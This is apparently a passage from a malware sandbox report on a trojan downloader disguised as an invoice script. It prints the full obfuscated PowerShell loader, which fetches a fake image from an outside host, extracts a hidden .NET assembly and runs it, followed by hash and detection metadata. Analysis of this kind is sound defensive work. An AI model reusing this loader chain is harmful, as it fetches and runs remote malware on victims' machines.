u265b\u265aDs\u265b\u265aJ\u265b\u265aBz\u265b\u265aHQ\u265b\u265aYQBy\u265b\u265aHQ\u265b\u265aSQBu\u265b\u265aGQ\u265b\u265aZQB4\u265b\u265aC\u265b\u265a\u265b\u265aLQBn\u265b\u265aGU\u265b\u265aI\u265b\u265a\u265b\u265aw\u265b\u265aC\u265b\u265a\u265b\u265aLQBh\u265b\u265aG4\u265b\u265aZ\u265b\u265a\u265b\u265ag\u265b\u265aCQ\u265b\u265aZQBu\u265b\u265aGQ\u265b\u265aSQBu\u265b\u265aGQ\u265b\u265aZQB4\u265b\u265aC\u265b\u265a\u265b\u265aLQBn\u265b\u265aHQ\u265b\u265aI\u265b\u265a\u265b\u265ak\u265b\u265aHM\u265b\u265ad\u265b\u265aBh\u265b\u265aHI\u265b\u265ad\u265b\u265aBJ\u265b\u265aG4\u265b\u265aZ\u265b\u265aBl\u265b\u265aHg\u265b\u265aOw\u265b\u265ak\u265b\u265aHM\u265b\u265ad\u265b\u265aBh\u265b\u265aHI\u265b\u265ad\u265b\u265aBJ\u265b\u265aG4\u265b\u265aZ\u265b\u265aBl\u265b\u265aHg\u265b\u265aI\u265b\u265a\u265b\u265ar\u265b\u265aD0\u265b\u265aI\u265b\u265a\u265b\u265ak\u265b\u265aHM\u265b\u265ad\u265b\u265aBh\u265b\u265aHI\u265b\u265ad\u265b\u265aBG\u265b\u265aGw\u265b\u265aYQBn\u265b\u265aC4\u265b\u265aT\u265b\u265aBl\u265b\u265aG4\u265b\u265aZwB0\u265b\u265aGg\u265b\u265aOw\u265b\u265ak\u265b\u265aGI\u265b\u265aYQBz\u265b\u265aGU\u265b\u265aNg\u265b\u265a0\u265b\u265aEw\u265b\u265aZQBu\u265b\u265aGc\u265b\u265ad\u265b\u265aBo\u265b\u265aC\u265b\u265a\u265b\u265aPQ\u265b\u265ag\u265b\u265aCQ\u265b\u265aZQBu\u265b\u265aGQ\u265b\u265aSQBu\u265b\u265aGQ\u265b\u265aZQB4\u265b\u265aC\u265b\u265a\u265b\u265aLQ\u265b\u265ag\u265b\u265aCQ\u265b\u265acwB0\u265b\u265aGE\u265b\u265acgB0\u265b\u265aEk\u265b\u265abgBk\u265b\u265aGU\u265b\u265ae\u265b\u265a\u265b\u265a7\u265b\u265aCQ\u265b\u265aYgBh\u265b\u265aHM\u265b\u265aZQ\u265b\u265a2\u265b\u265aDQ\u265b\u265aQwBv\u265b\u265aG0\u265b\u265abQBh\u265b\u265aG4\u265b\u265aZ\u265b\u265a\u265b\u265ag\u265b\u265aD0\u265b\u265aI\u265b\u265a\u265b\u265ak\u265b\u265aGk\u265b\u265abQBh\u265b\u265aGc\u265b\u265aZQBU\u265b\u265aGU\u265b\u265ae\u265b\u265aB0\u265b\u265aC4\u265b\u265aUwB1\u265b\u265aGI\u265b\u265acwB0\u265b\u265aHI\u265b\u265aaQBu\u265b\u265aGc\u265b\u265aK\u265b\u265a\u265b\u265ak\u265b\u265aHM\u265b\u265ad\u265b\u265aBh\u265b\u265aHI\u265b\u265ad\u265b\u265aBJ\u265b\u265aG4\u265b\u265aZ\u265b\u265aBl\u265b\u265aHg\u265b\u265aL\u265b\u265a\u265b\u265ag\u265b\u265aCQ\u265b\u265aYgBh\u265b\u265aHM\u265b\u265aZQ\u265b\u265a2\u265b\u265aDQ\u265b\u265aT\u265b\u265aBl\u265b\u265aG4\u265b\u265aZwB0\u265b\u265aGg\u265b\u265aKQ\u265b\u265a7\u265b\u265aCQ\u265b\u265aYwBv\u265b\u265aG0\u265b\u265abQBh\u265b\u265aG4\u265b\u265aZ\u265b\u265aBC\u265b\u265aHk\u265b\u265ad\u265b\u265aBl\u265b\u265aHM\u265b\u265aI\u265b\u265a\u265b\u265a9\u265b\u265aC\u265b\u265a\u265b\u265aWwBT\u265b\u265aHk\u265b\u265acwB0\u265b\u265aGU\u265b\u265abQ\u265b\u265au\u265b\u265aEM\u265b\u265abwBu\u265b\u265aHY\u265b\u265aZQBy\u265b\u265aHQ\u265b\u265aXQ\u265b\u265a6\u265b\u265aDo\u265b\u265aRgBy\u265b\u265aG8\u265b\u265abQBC\u265b\u265aGE\u265b\u265acwBl\u265b\u265aDY\u265b\u265aN\u265b\u265aBT\u265b\u265aHQ\u265b\u265acgBp\u265b\u265aG4\u265b\u265aZw\u265b\u265ao\u265b\u265aCQ\u265b\u265aYgBh\u265b\u265aHM\u265b\u265aZQ\u265b\u265a2\u265b\u265aDQ\u265b\u265aQwBv\u265b\u265aG0\u265b\u265abQBh\u265b\u265aG4\u265b\u265aZ\u265b\u265a\u265b\u265ap\u265b\u265aDs\u265b\u265aJ\u265b\u265aBs\u265b\u265aG8\u265b\u265aYQBk\u265b\u265aGU\u265b\u265aZ\u265b\u265aBB\u265b\u265aHM\u265b\u265acwBl\u265b\u265aG0\u265b\u265aYgBs\u265b\u265aHk\u265b\u265aI\u265b\u265a\u265b\u265a9\u265b\u265aC\u265b\u265a\u265b\u265aWwBT\u265b\u265aHk\u265b\u265acwB0\u265b\u265aGU\u265b\u265abQ\u265b\u265au\u265b\u265aFI\u265b\u265aZQBm\u265b\u265aGw\u265b\u265aZQBj\u265b\u265aHQ\u265b\u265aaQBv\u265b\u265aG4\u265b\u265aLgBB\u265b\u265aHM\u265b\u265acwBl\u265b\u265aG0\u265b\u265aYgBs\u265b\u265aHk\u265b\u265aXQ\u265b\u265a6\u265b\u265aDo\u265b\u265aT\u265b\u265aBv\u265b\u265aGE\u265b\u265aZ\u265b\u265a\u265b\u265ao\u265b\u265aCQ\u265b\u265aYwBv\u265b\u265aG0\u265b\u265abQBh\u265b\u265aG4\u265b\u265aZ\u265b\u265aBC\u265b\u265aHk\u265b\u265ad\u265b\u265aBl\u265b\u265aHM\u265b\u265aKQ\u265b\u265a7\u265b\u265aCQ\u265b\u265ad\u265b\u265aB5\u265b\u265aH\u265b\u265a\u265b\u265aZQ\u265b\u265ag\u265b\u265aD0\u265b\u265aI\u265b\u265a\u265b\u265ak\u265b\u265aGw\u265b\u265abwBh\u265b\u265aGQ\u265b\u265aZQBk\u265b\u265aEE\u265b\u265acwBz\u265b\u265aGU\u265b\u265abQBi\u265b\u265aGw\u265b\u265aeQ\u265b\u265au\u265b\u265aEc\u265b\u265aZQB0\u265b\u265aFQ\u265b\u265aeQBw\u265b\u265aGU\u265b\u265aK\u265b\u265a\u265b\u265an\u265b\u265aEY\u265b\u265aaQBi\u265b\u265aGU\u265b\u265acg\u265b\u265au\u265b\u265aEg\u265b\u265abwBt\u265b\u265aGU\u265b\u265aJw\u265b\u265ap\u265b\u265aDs\u265b\u265aJ\u265b\u265aBt\u265b\u265aGU\u265b\u265ad\u265b\u265aBo\u265b\u265aG8\u265b\u265aZ\u265b\u265a\u265b\u265ag\u265b\u265aD0\u265b\u265aI\u265b\u265a\u265b\u265ak\u265b\u265aHQ\u265b\u265aeQBw\u265b\u265aGU\u265b\u265aLgBH\u265b\u265aGU\u265b\u265ad\u265b\u265aBN\u265b\u265aGU\u265b\u265ad\u265b\u265aBo\u265b\u265aG8\u265b\u265aZ\u265b\u265a\u265b\u265ao\u265b\u265aCc\u265b\u265aVgBB\u265b\u265aEk\u265b\u265aJw\u265b\u265ap\u265b\u265aC4\u265b\u265aSQBu\u265b\u265aHY\u265b\u265abwBr\u265b\u265aGU\u265b\u265aK\u265b\u265a\u265b\u265ak\u265b\u265aG4\u265b\u265adQBs\u265b\u265aGw\u265b\u265aL\u265b\u265a\u265b\u265ag\u265b\u265aFs\u265b\u265abwBi\u265b\u265aGo\u265b\u265aZQBj\u265b\u265aHQ\u265b\u265aWwBd\u265b\u265aF0\u265b\u265aI\u265b\u265a\u265b\u265ao\u265b\u265aCc\u265b\u265aZ\u265b\u265aBI\u265b\u265aGg\u265b\u265aM\u265b\u265aBM\u265b\u265aGo\u265b\u265aUQ\u265b\u265ay\u265b\u265aFo\u265b\u265aW\u265b\u265aBO\u265b\u265aGg\u265b\u265aWQBu\u265b\u265aGw\u265b\u265aeQBa\u265b\u265aFg\u265b\u265aWgB2\u265b\u265aFk\u265b\u265aMgBW\u265b\u265aHk\u265b\u265aZ\u265b\u265aBH\u265b\u265aE4\u265b\u265aa\u265b\u265aBk\u265b\u265aEc\u265b\u265aNQB2\u265b\u265aFk\u265b\u265aMgBo\u265b\u265aD\u265b\u265a\u265b\u265aYQBY\u265b\u265aGQ\u265b\u265adwBk\u265b\u265aEc\u265b\u265aWgBs\u265b\u265aGI\u265b\u265aRwBs\u265b\u265aG0\u265b\u265aWgBH\u265b\u265aGw\u265b\u265adgBj\u265b\u265aG0\u265b\u265aUQB2\u265b\u265aE8\u265b\u265aR\u265b\u265aBr\u265b\u265aHU\u265b\u265aTQBE\u265b\u265aFU\u265b\u265aeQBM\u265b\u265aGo\u265b\u265aSQ\u265b\u265a1\u265b\u265aEw\u265b\u265aagBF\u265b\u265aDU\u265b\u265aT\u265b\u265aB5\u265b\u265aDg\u265b\u265aNgBj\u265b\u265aEg\u265b\u265aUg\u265b\u265aw\u265b\u265aGE\u265b\u265aQQ\u265b\u265a9\u265b\u265aD0\u265b\u265aJw\u265b\u265ag\u265b\u265aCw\u265b\u265aI\u265b\u265a\u265b\u265an\u265b\u265aGQ\u265b\u265aZgBk\u265b\u265aGY\u265b\u265aZ\u265b\u265a\u265b\u265an\u265b\u265aC\u265b\u265a\u265b\u265aL\u265b\u265a\u265b\u265ag\u265b\u265aCc\u265b\u265aZ\u265b\u265aBm\u265b\u265aGQ\u265b\u265aZg\u265b\u265an\u265b\u265aC\u265b\u265a\u265b\u265aL\u265b\u265a\u265b\u265ag\u265b\u265aCc\u265b\u265aZ\u265b\u265aBm\u265b\u265aGQ\u265b\u265aZg\u265b\u265an\u265b\u265aC\u265b\u265a\u265b\u265aL\u265b\u265a\u265b\u265ag\u265b\u265aCc\u265b\u265aZ\u265b\u265aBh\u265b\u265aGQ\u265b\u265acwBh\u265b\u265aCc\u265b\u265aI\u265b\u265a\u265b\u265as\u265b\u265aC\u265b\u265a\u265b\u265aJwBk\u265b\u265aGU\u265b\u265aJw\u265b\u265ag\u265b\u265aCw\u265b\u265aI\u265b\u265a\u265b\u265an\u265b\u265aGM\u265b\u265adQ\u265b\u265an\u265b\u265aCk\u265b\u265aKQ\u265b\u265a=';$OWjuxd = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($codigo.replace('\u265b\u265a','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxd"" (UID: 00000000-00002316) Process "powershell.exe" with commandline "-windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/666/683/original/js.jpg?1700183864';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<>';$endFlag = '<>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LjQ2ZXNhYnlyZXZvY2VydGNhdG5vY2h0aXdwdGZlbGlmZGlvcmQvODkuMDUyLjI5LjE5Ly86cHR0aA==' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"" (UID: 00000000-00004012)4c:T1bfa,-command "$Codigo = 'J♛♚Bp♛♚G0♛♚YQBn♛♚GU♛♚VQBy♛♚Gw♛♚I♛♚♛♚9♛♚C♛♚♛♚JwBo♛♚HQ♛♚d♛♚Bw♛♚HM♛♚Og♛♚v♛♚C8♛♚dQBw♛♚Gw♛♚bwBh♛♚GQ♛♚Z♛♚Bl♛♚Gk♛♚bQBh♛♚Gc♛♚ZQBu♛♚HM♛♚LgBj♛♚G8♛♚bQ♛♚u♛♚GI♛♚cg♛♚v♛♚Gk♛♚bQBh♛♚Gc♛♚ZQBz♛♚C8♛♚M♛♚♛♚w♛♚DQ♛♚Lw♛♚2♛♚DY♛♚Ng♛♚v♛♚DY♛♚O♛♚♛♚z♛♚C8♛♚bwBy♛♚Gk♛♚ZwBp♛♚G4♛♚YQBs♛♚C8♛♚agBz♛♚C4♛♚agBw♛♚Gc♛♚Pw♛♚x♛♚Dc♛♚M♛♚♛♚w♛♚DE♛♚O♛♚♛♚z♛♚Dg♛♚Ng♛♚0♛♚Cc♛♚Ow♛♚k♛♚Hc♛♚ZQBi♛♚EM♛♚b♛♚Bp♛♚GU♛♚bgB0♛♚C♛♚♛♚PQ♛♚g♛♚E4♛♚ZQB3♛♚C0♛♚TwBi♛♚Go♛♚ZQBj♛♚HQ♛♚I♛♚BT♛♚Hk♛♚cwB0♛♚GU♛♚bQ♛♚u♛♚E4♛♚ZQB0♛♚C4♛♚VwBl♛♚GI♛♚QwBs♛♚Gk♛♚ZQBu♛♚HQ♛♚Ow♛♚k♛♚Gk♛♚bQBh♛♚Gc♛♚ZQBC♛♚Hk♛♚d♛♚Bl♛♚HM♛♚I♛♚♛♚9♛♚C♛♚♛♚J♛♚B3♛♚GU♛♚YgBD♛♚Gw♛♚aQBl♛♚G4♛♚d♛♚♛♚u♛♚EQ♛♚bwB3♛♚G4♛♚b♛♚Bv♛♚GE♛♚Z♛♚BE♛♚GE♛♚d♛♚Bh♛♚Cg♛♚J♛♚Bp♛♚G0♛♚YQBn♛♚GU♛♚VQBy♛♚Gw♛♚KQ♛♚7♛♚CQ♛♚aQBt♛♚GE♛♚ZwBl♛♚FQ♛♚ZQB4♛♚HQ♛♚I♛♚♛♚9♛♚C♛♚♛♚WwBT♛♚Hk♛♚cwB0♛♚GU♛♚bQ♛♚u♛♚FQ♛♚ZQB4♛♚HQ♛♚LgBF♛♚G4♛♚YwBv♛♚GQ♛♚aQBu♛♚Gc♛♚XQ♛♚6♛♚Do♛♚VQBU♛♚EY♛♚O♛♚♛♚u♛♚Ec♛♚ZQB0♛♚FM♛♚d♛♚By♛♚Gk♛♚bgBn♛♚Cg♛♚J♛♚Bp♛♚G0♛♚YQBn♛♚GU♛♚QgB5♛♚HQ♛♚ZQBz♛♚Ck♛♚Ow♛♚k♛♚HM♛♚d♛♚Bh♛♚HI♛♚d♛♚BG♛♚Gw♛♚YQBn♛♚C♛♚♛♚PQ♛♚g♛♚Cc♛♚P♛♚♛♚8♛♚EI♛♚QQBT♛♚EU♛♚Ng♛♚0♛♚F8♛♚UwBU♛♚EE♛♚UgBU♛♚D4♛♚Pg♛♚n♛♚Ds♛♚J♛♚Bl♛♚G4♛♚Z♛♚BG♛♚Gw♛♚YQBn♛♚C♛♚♛♚PQ♛♚g♛♚Cc♛♚P♛♚♛♚8♛♚EI♛♚QQBT♛♚EU♛♚Ng♛♚0♛♚F8♛♚RQBO♛♚EQ♛♚Pg♛♚+♛♚Cc♛♚Ow♛♚k♛♚HM♛♚d♛♚Bh♛♚HI♛♚d♛♚BJ♛♚G4♛♚Z♛♚Bl♛♚Hg♛♚I♛♚♛♚9♛♚C♛♚♛♚J♛♚Bp♛♚G0♛♚YQBn♛♚GU♛♚V♛♚Bl♛♚Hg♛♚d♛♚♛♚u♛♚Ek♛♚bgBk♛♚GU♛♚e♛♚BP♛♚GY♛♚K♛♚♛♚k♛♚HM♛♚d♛♚Bh♛♚HI♛♚d♛♚BG♛♚Gw♛♚YQBn♛♚Ck♛♚Ow♛♚k♛♚GU♛♚bgBk♛♚Ek♛♚bgBk♛♚GU♛♚e♛♚♛♚g♛♚D0♛♚I♛♚♛♚k♛♚Gk♛♚bQBh♛♚Gc♛♚ZQBU♛♚GU♛♚e♛♚B0♛♚C4♛♚SQBu♛♚GQ♛♚ZQB4♛♚E8♛♚Zg♛♚o♛♚CQ♛♚ZQBu♛♚GQ♛♚RgBs♛♚GE♛♚Zw♛♚p♛♚Ds♛♚J♛♚Bz♛♚HQ♛♚YQBy♛♚HQ♛♚SQBu♛♚GQ♛♚ZQB4♛♚C♛♚♛♚LQBn♛♚GU♛♚I♛♚♛♚w♛♚C♛♚♛♚LQBh♛♚G4♛♚Z♛♚♛♚g♛♚CQ♛♚ZQBu♛♚GQ♛♚SQBu♛♚GQ♛♚ZQB4♛♚C♛♚♛♚LQBn♛♚HQ♛♚I♛♚♛♚k♛♚HM♛♚d♛♚Bh♛♚HI♛♚d♛♚BJ♛♚G4♛♚Z♛♚Bl♛♚Hg♛♚Ow♛♚k♛♚HM♛♚d♛♚Bh♛♚HI♛♚d♛♚BJ♛♚G4♛♚Z♛♚Bl♛♚Hg♛♚I♛♚♛♚r♛♚D0♛♚I♛♚♛♚k♛♚HM♛♚d♛♚Bh♛♚HI♛♚d♛♚BG♛♚Gw♛♚YQBn♛♚C4♛♚T♛♚Bl♛♚G4♛♚ZwB0♛♚Gg♛♚Ow♛♚k♛♚GI♛♚YQBz♛♚GU♛♚Ng♛♚0♛♚Ew♛♚ZQBu♛♚Gc♛♚d♛♚Bo♛♚C♛♚♛♚PQ♛♚g♛♚CQ♛♚ZQBu♛♚GQ♛♚SQBu♛♚GQ♛♚ZQB4♛♚C♛♚♛♚LQ♛♚g♛♚CQ♛♚cwB0♛♚GE♛♚cgB0♛♚Ek♛♚bgBk♛♚GU♛♚e♛♚♛♚7♛♚CQ♛♚YgBh♛♚HM♛♚ZQ♛♚2♛♚DQ♛♚QwBv♛♚G0♛♚bQBh♛♚G4♛♚Z♛♚♛♚g♛♚D0♛♚I♛♚♛♚k♛♚Gk♛♚bQBh♛♚Gc♛♚ZQBU♛♚GU♛♚e♛♚B0♛♚C4♛♚UwB1♛♚GI♛♚cwB0♛♚HI♛♚aQBu♛♚Gc♛♚K♛♚♛♚k♛♚HM♛♚d♛♚Bh♛♚HI♛♚d♛♚BJ♛♚G4♛♚Z♛♚Bl♛♚Hg♛♚L♛♚♛♚g♛♚CQ♛♚YgBh♛♚HM♛♚ZQ♛♚2♛♚DQ♛♚T♛♚Bl♛♚G4♛♚ZwB0♛♚Gg♛♚KQ♛♚7♛♚CQ♛♚YwBv♛♚G0♛♚bQBh♛♚G4♛♚Z♛♚BC♛♚Hk♛♚d♛♚Bl♛♚HM♛♚I♛♚♛♚9♛♚C♛♚♛♚WwBT♛♚Hk♛♚cwB0♛♚GU♛♚bQ♛♚u♛♚EM♛♚bwBu♛♚HY♛♚ZQBy♛♚HQ♛♚XQ♛♚6♛♚Do♛♚RgBy♛♚G8♛♚bQBC♛♚GE♛♚cwBl♛♚DY♛♚N♛♚BT♛♚HQ♛♚cgBp♛♚G4♛♚Zw♛♚o♛♚CQ♛♚YgBh♛♚HM♛♚ZQ♛♚2♛♚DQ♛♚QwBv♛♚G0♛♚bQBh♛♚G4♛♚Z♛♚♛♚p♛♚Ds♛♚J♛♚Bs♛♚G8♛♚YQBk♛♚GU♛♚Z♛♚BB♛♚HM♛♚cwBl♛♚G0♛♚YgBs♛♚Hk♛♚I♛♚♛♚9♛♚C♛♚♛♚WwBT♛♚Hk♛♚cwB0♛♚GU♛♚bQ♛♚u♛♚FI♛♚ZQBm♛♚Gw♛♚ZQBj♛♚HQ♛♚aQBv♛♚G4♛♚LgBB♛♚HM♛♚cwBl♛♚G0♛♚YgBs♛♚Hk♛♚XQ♛♚6♛♚Do♛♚T♛♚Bv♛♚GE♛♚Z♛♚♛♚o♛♚CQ♛♚YwBv♛♚G0♛♚bQBh♛♚G4♛♚Z♛♚BC♛♚Hk♛♚d♛♚Bl♛♚HM♛♚KQ♛♚7♛♚CQ♛♚d♛♚B5♛♚H♛♚♛♚ZQ♛♚g♛♚D0♛♚I♛♚♛♚k♛♚Gw♛♚bwBh♛♚GQ♛♚ZQBk♛♚EE♛♚cwBz♛♚GU♛♚bQBi♛♚Gw♛♚eQ♛♚u♛♚Ec♛♚ZQB0♛♚FQ♛♚eQBw♛♚GU♛♚K♛♚♛♚n♛♚EY♛♚aQBi♛♚GU♛♚cg♛♚u♛♚Eg♛♚bwBt♛♚GU♛♚Jw♛♚p♛♚Ds♛♚J♛♚Bt♛♚GU♛♚d♛♚Bo♛♚G8♛♚Z♛♚♛♚g♛♚D0♛♚I♛♚♛♚k♛♚HQ♛♚eQBw♛♚GU♛♚LgBH♛♚GU♛♚d♛♚BN♛♚GU♛♚d♛♚Bo♛♚G8♛♚Z♛♚♛♚o♛♚Cc♛♚VgBB♛♚Ek♛♚Jw♛♚p♛♚C4♛♚SQBu♛♚HY♛♚bwBr♛♚GU♛♚K♛♚♛♚k♛♚G4♛♚dQBs♛♚Gw♛♚L♛♚♛♚g♛♚Fs♛♚bwBi♛♚Go♛♚ZQBj♛♚HQ♛♚WwBd♛♚F0♛♚I♛♚♛♚o♛♚Cc♛♚Z♛♚BI♛♚Gg♛♚M♛♚BM♛♚Go♛♚UQ♛♚y♛♚Fo♛♚W♛♚BO♛♚Gg♛♚WQBu♛♚Gw♛♚eQBa♛♚Fg♛♚WgB2♛♚Fk♛♚MgBW♛♚Hk♛♚Z♛♚BH♛♚E4♛♚a♛♚Bk♛♚Ec♛♚NQB2♛♚Fk♛♚MgBo♛♚D♛♚♛♚YQBY♛♚GQ♛♚dwBk♛♚Ec♛♚WgBs♛♚GI♛♚RwBs♛♚G0♛♚WgBH♛♚Gw♛♚dgBj♛♚G0♛♚UQB2♛♚E8♛♚R♛♚Br♛♚HU♛♚TQBE♛♚FU♛♚eQBM♛♚Go♛♚SQ♛♚1♛♚Ew♛♚agBF♛♚DU♛♚T♛♚B5♛♚Dg♛♚NgBj♛♚Eg♛♚Ug♛♚w♛♚GE♛♚QQ♛♚9♛♚D0♛♚Jw♛♚g♛♚Cw♛♚I♛♚♛♚n♛♚GQ♛♚ZgBk♛♚GY♛♚Z♛♚♛♚n♛♚C♛♚♛♚L♛♚♛♚g♛♚Cc♛♚Z♛♚Bm♛♚GQ♛♚Zg♛♚n♛♚C♛♚♛♚L♛♚♛♚g♛♚Cc♛♚Z♛♚Bm♛♚GQ♛♚Zg♛♚n♛♚C♛♚♛♚L♛♚♛♚g♛♚Cc♛♚Z♛♚Bh♛♚GQ♛♚cwBh♛♚Cc♛♚I♛♚♛♚s♛♚C♛♚♛♚JwBk♛♚GU♛♚Jw♛♚g♛♚Cw♛♚I♛♚♛♚n♛♚GM♛♚dQ♛♚n♛♚Ck♛♚KQ♛♚=';$OWjuxd = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($codigo.replace('♛♚','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxd"4d:T406,-windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/666/683/original/js.jpg?1700183864';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<>';$endFlag = '<>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LjQ2ZXNhYnlyZXZvY2VydGNhdG5vY2h0aXdwdGZlbGlmZGlvcmQvODkuMDUyLjI5LjE5Ly86cHR0aA==' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"0517bf10dbb8a2078f9a7bccea9fab3012093f637568dadfc5410a7ffad41452","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790763562232,"unified_at":"2026-09-30T10:19:22.232Z","metadata":{"hashes":{"sha256":"0517bf10dbb8a2078f9a7bccea9fab3012093f637568dadfc5410a7ffad41452","sha1":"c7bc31c9641f4c089c23b946fef933b00fb0d7c0","md5":"5b4ec1387c3c5ddc4e9e752a1507c3d1","sha512":"353a743db968e4f3f36eec69a4a0121212e5d9804207b3fb6c2985278fd646858c8824e1b2db989588d2b87e7c72fee246b9b93e2d160828c8a66be6ce1f4aa4","ssdeep":"768:XNAOM1OmeEIMMmy3Pao5ZmeCzoiFKSBxOMRj2sGMHlPA78T:X5MUmgMMmIao5ZmHooBYMiMH11T","ssdeep_chunks":["768:XNAOM1O","768:NAOM1Om","768:AOM1Ome","768:OM1OmeE","768:M1OmeEI","768:1OmeEIM","768:OmeEIMM","768:meEIMMm","768:eEIMMmy","768:EIMMmy3","768:IMMmy3P","768:MMmy3Pa","768:Mmy3Pao","768:my3Pao5","768:y3Pao5Z","768:3Pao5Zm","768:Pao5Zme","768:ao5ZmeC","768:o5ZmeCz","768:5ZmeCzo","768:ZmeCzoi","768:meCzoiF","768:eCzoiFK","768:CzoiFKS","768:zoiFKSB","768:oiFKSBx","768:iFKSBxO","768:FKSBxOM","768:KSBxOMR","768:SBxOMRj","768:BxOMRj2","768:xOMRj2s","768:OMRj2sG","768:MRj2sGM","768:Rj2sGMH","768:j2sGMHl","768:2sGMHlP","768:sGMHlPA","768:GMHlPA7","768:MHlPA78","768:HlPA78T","1536:XNAOM1O","1536:NAOM1Om","1536:AOM1Ome","1536:OM1OmeE","1536:M1OmeEI","1536:1OmeEIM","1536:OmeEIMM","1536:meEIMMm","1536:eEIMMmy","1536:EIMMmy3","1536:IMMmy3P","1536:MMmy3Pa","1536:Mmy3Pao","1536:my3Pao5","1536:y3Pao5Z","1536:3Pao5Zm","1536:Pao5Zme","1536:ao5ZmeC","1536:o5ZmeCz","1536:5ZmeCzo","1536:ZmeCzoi","1536:meCzoiF","1536:eCzoiFK","1536:CzoiFKS","1536:zoiFKSB","1536:oiFKSBx","1536:iFKSBxO","1536:FKSBxOM","1536:KSBxOMR","1536:SBxOMRj","1536:BxOMRj2","1536:xOMRj2s","1536:OMRj2sG","1536:MRj2sGM","1536:Rj2sGMH","1536:j2sGMHl","1536:2sGMHlP","1536:sGMHlPA","1536:GMHlPA7","1536:MHlPA78","1536:HlPA78T","768:X5MUmgM","768:5MUmgMM","768:MUmgMMm","768:UmgMMmI","768:mgMMmIa","768:gMMmIao","768:MMmIao5","768:MmIao5Z","768:mIao5Zm","768:Iao5ZmH","768:ao5ZmHo","768:o5ZmHoo","768:5ZmHooB","768:ZmHooBY","768:mHooBYM","768:HooBYMi","768:ooBYMiM","768:oBYMiMH","768:BYMiMH1","768:YMiMH11","768:MiMH11T"],"imphash":"Unknown"},"file_info":{"file_name":"facturas y datos bancarios.js.unknown","file_type":["script","javascript"],"file_type_id":"js","file_size":37146,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1701371110000,"last_seen":1701372685000,"last_multi_scan":1701372685000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":null},"stats":{"av":{"malicious_count":3,"suspicious_count":0,"total_engines":26},"attributions":{"malware_families_count":0,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":46},"sandbox_signatures":{"informative_count":102,"suspicious_count":15,"malicious_count":5,"total":122},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cylance":{"name":"Cylance","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"JS/TrojanDownloader.Agent.AAJE 